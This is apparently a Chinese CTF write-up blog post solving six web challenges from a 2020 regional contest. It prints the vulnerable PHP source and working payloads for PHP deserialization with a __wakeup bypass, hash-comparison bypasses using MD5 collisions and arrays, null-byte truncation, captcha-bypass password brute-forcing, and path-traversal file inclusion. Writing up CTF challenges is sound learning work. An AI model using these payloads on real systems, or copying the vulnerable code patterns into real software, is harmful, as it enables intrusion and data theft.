Skip to main content

复现2020区赛部分web题

当时是2020.10.23吧,大概只学了3个月,一点web都没会哈哈,只刷了一些杂项题 所以基本没有动web题,正好朋友发了一下当时的部分web题来,题目可能不全呵呵

祝大家中秋快乐~

web1

http://8.130.27.133/web1/

查看页面源代码即可

web2

http://8.130.27.133/web2/

查看源代码得:

<?php   
class flag{
private $file = 'index.php';
public function __construct($file){
$this->file = $file;
}
function __wakeup(){
$this->file = 'index.php';
}
function __destruct(){
echo file_get_contents(str_ireplace(['fl@g','/','\\'],'',$this->file));
}
}

后面传东西可以看到新加的提示:

$file = @base64_decode(file_get_contents($_GET['file'],'r'))
$gogogo = @unserialize($file);

或者随便传一个反序列化就可以拿源码:(这里就不贴出来了,访问下面连接看源码即可)

http://8.130.27.133/web2/?file=data://text/plain,Tzo0OiJmbGFnIjowOnt9

过滤了$safe = '/pass|etc|eval|system|file|data|biubiubiu/';

三个考点:

  1. 伪协议dataphp://input绕过file_get_contents
  2. 因为_wakeup方法会令file为index.php,修改序列化数据后的属性数目即可绕过
  3. str_ireplace(['fl@g','/','\\'],'',$this->file),会把匹配到的东西换为空,双写绕过

按上面三点构造payload

<?php

class flag{
private $file = 'flfl@@gg.php';
}

$a = new flag();
echo base64_encode(serialize($a));

# Tzo0OiJmbGFnIjoxOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbGZsQEBnZy5waHAiO30=

然后base64转码回来:O:4:"flag":1:{s:10:"flagfile";s:12:"fl@fl@gg.php";} 把1改为2再base64编码:Tzo0OiJmbGFnIjoyOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbEBmbEBnZy5waHAiO30=

最终payload:

http://8.130.27.133/web2/index.php?file=data:text/plain,Tzo0OiJmbGFnIjoyOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbEBmbEBnZy5waHAiO30=

ps:

这里自己没有注意private属性的不可见字符的问题,没有在写脚本的时候直接base64编码, 而是复制再用hackbar的base64编码,这就导致了其不可见字符没有传入进去

导致一直没能成功反序列化,求助了群里的师傅们,这里得感谢华泽师傅,才让我意思到自己的问题所在

web3

http://8.130.27.133/web3/

f12看到提示 <!-- 初始4位密码,请及时修改 -->

并且会检测用户名是否存在,还有验证码

简单的绕过验证码爆破

抓包改包爆破:

用户名/密码为admin/8461

web4

http://8.130.27.133/web4/

还是两登录框

右键查看源代码:

<?php
$flag='flag{*********************}';
if(isset($_GET['username']) && isset($_GET['password'])){
if ($_GET['username']==$_GET['password']) {
echo('密码不能与账户相同');
}else{
if(sha1($_GET['username'])==sha1($_GET['password'])){
if (md5(implode('',$_GET['username']))===md5(implode('',$_GET['password']))){
die($flag);
}else{
echo('账户与密码md5值不相等');
}

}else{
echo('账户与密码sha1值不相等 :(');
}
}
}
  1. sha1弱比较:数组绕过,传入数组的会让sha1()返回false,最终使得两边都为false

  2. md5强比较:

    1. md5 值碰撞绕过,可以跑脚本出来,这里用之前记下的payload

      a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
      &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    2. 数组绕过: 类似sha1(),通过传入两个不相等的数组,使得 md5加密失败返回空,最终 null=null 不过这里用implode()会先把数组元素拼接成字符串再进行md5加密,这个方法也就失效了

最终payload:

username[]=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&password[]=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

补充一个解法

http://8.130.27.133/web4/?username=aaroZmOk&password=aaK1STfY

这里得感谢陈姐,提出了这个非预期;感谢冰姐,让我重新深入了解一下这个原理

这两个值是sha1后为0exxx的值,也就成功绕过第一个if语句了

重点在第二个md5比较 能过不是因为md5值相等,是因为implode的要求参数为数组,传入非数组则会警告并返回NULL,两边为NULL也就过了~

(通常$_GET$_POST传入的值为字符串,像?username[]=xxx&password=xxx这样才是数组的传入形式)

web5

http://8.130.27.133/web5/

直接给源码:

<?php
$white_list = range(1,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){
$a=$_REQUEST['no'];
if(@ereg("^[1-9]+$", $a) === FALSE){
echo 'must be number and not zore';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
echo 'you are a great dark phper<br>';
echo $flag;
}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);

审计一下可知想拿到flag需要满足:

  1. 传入的参数必须等于1-9的任意一个
  2. 传入的参数长度大于1

考点是%00截断: 在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

payload:

http://8.130.27.133/web5/?no=1%00

web6

http://8.130.27.133/web6/

就是buu的warmup

# http://8.130.27.133/web6/source.php
# hint.php:flag in flag
# 这里只贴主要部分
<?php
highlight_file(__FILE__);
class ReadFile
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& ReadFile::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br>CTF CHALLENGE";
}
?>

需要传入的file:非空且为字符串,并且ReadFile类的checkFile方法判断为真即可包含文件

那重点看这个ReadFile类的checkFile方法

  1. $page未定义或非字符串则返回false
  2. $page 匹配 $whitelist 中的某个值则返回true
  3. $_page赋值为$page的0到第一个问号之间的字符串,若$_page 匹配 $whitelist 中的某个值则返回true
  4. $_pageurl解码后赋值为:$page的0到第一个问号之间的字符串,若$_page 匹配 $whitelist 中的某个值则返回true

那么使其为true就很简单了

构造payload,目的是通过第三次验证触发true

source.php和hint.php都在$whitelist里,用于截断

%253f是问号二次url编码的结果,因为浏览器会进行一次url解码,所以要二次编码来触发第三次判断的url解码

http://8.130.27.133/web6/source.php?file=
source.php%253f/../../../../../../flag

hint.php%253f/../../../../../../flag

反正就是这样了hh